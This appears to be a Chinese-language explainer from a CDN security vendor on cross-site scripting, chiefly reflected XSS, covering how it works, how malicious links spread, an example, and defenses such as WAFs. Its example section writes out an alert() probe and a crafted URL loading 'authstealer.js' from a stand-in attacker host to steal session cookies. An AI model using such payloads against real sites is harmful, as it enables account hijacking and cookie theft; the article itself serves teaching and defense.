CDN加速

什么是XSS攻击?反射型XSS攻击?XSS 攻击预防和防御

什么是XSS攻击?反射型XSS攻击?XSS 攻击预防和防御

发布时间:2025-01-05 23:59:24   来源:众盛云-高防CDN专家 关键词:什么是XSS攻击

1、什么是 XSS 攻击

跨站点脚本 (XSS) 是一种 Web 应用程序漏洞,允许攻击者将代码(通常是 HTML 或 JavaScript)注入外部网站的内容。当受害者查看网站上的受感染页面时,注入的代码会在受害者的浏览器中执行。因此,攻击者绕过了浏览器的同源策略,能够窃取与网站相关的受害者的私人信息。

2、什么是反射型 XSS 攻击

反射型 XSS 攻击也称为非持久性攻击,当恶意脚本从 Web 应用程序反射到受害者的浏览器时发生。

脚本通过链接激活,该链接向具有漏洞的网站发送请求,从而允许执行恶意脚本。该漏洞通常是由于传入请求未得到充分清理而导致的,这允许操纵 Web 应用程序的功能并激活恶意脚本。

为了传播恶意链接,犯罪者通常将其嵌入到电子邮件或第三方网站中(例如,在评论部分或社交媒体中)。链接嵌入锚文本中,诱使用户点击它,从而向被利用的网站发起 XSS 请求,将攻击反射回用户。

与存储攻击不同,在存储攻击中,犯罪者必须找到允许永久注入恶意脚本的网站,而反射攻击只需要将恶意脚本嵌入到链接中。话虽如此,为了使攻击成功,用户需要点击受感染的链接。

因此,反射攻击和存储 XSS 攻击之间存在一些关键差异,包括:
• 反射攻击更常见。
• 反射攻击的覆盖范围与存储 XSS 攻击不同。
• 警惕的用户可以避免反射攻击。
利用反射型 XSS,攻击者通过向尽可能多的用户发送恶意链接来玩“数字游戏”,从而提高成功执行攻击的几率。

3、反射型 XSS 攻击示例

在访问需要用户登录其帐户的论坛网站时,攻击者执行此搜索查询 <script type=’text/javascript’>alert(‘xss’);</script>,导致发生以下情况:
1. 查询生成一个警告框,提示“XSS”。
2. 页面显示:“<script type=’text/javascript’>alert(‘XSS’);</script > 未找到。”
3. 页面的 URL 为 http://ecommerce.com?q=<script type=”text/javascript”>alert(‘XSS’); </script>。
这告诉攻击者该网站存在漏洞。接下来,他创建了自己的 URL,即 http://forum.com?q=news<\script%20src=”http://hackersite.com/authstealer.js”,并将其作为链接嵌入到一封看似无害的电子邮件中,发送给一组论坛用户。

虽然发送地址和主题行可能对某些人来说很可疑,但这并不意味着它不会被点击。

事实上,即使每 1,000 个电子邮件收件人中只有一个点击该链接,也意味着有几十个论坛用户受到感染。他们将被带到论坛的网站,恶意脚本将反射回他们的浏览器,使犯罪者能够窃取他们的会话 cookie 并劫持他们的论坛帐户。

4、反射型 XSS 攻击预防和防御

有几种有效的方法可以预防和防御反射型 XSS 攻击。

首先,从用户的角度来看,警惕是避免 XSS 脚本的最佳方法。具体而言,这意味着不要点击可能包含恶意代码的可疑链接。可疑链接包括以下链接:
• 来自未知发件人的电子邮件
• 网站的评论部分
• 未知用户的社交媒体信息流
话虽如此,最终还是由网站运营商来防止对其用户的潜在滥用。

此外,Web 应用程序防火墙 (WAF) 在缓解反射型 XSS 攻击方面也发挥着重要作用。借助基于签名的安全规则,并由其他启发式方法支持,WAF 可以弥补输入清理的不足,并简单地阻止异常请求。这包括但不限于试图执行反射型跨站点脚本攻击的请求。

应该注意的是,与存储攻击不同,在存储攻击中,犯罪者对网站的恶意请求被阻止,而在反射型 XSS 攻击中,被阻止的是用户的请求。这样做是为了保护用户,以及防止对所有其他网站访问者造成附带损害。
 

猜你喜欢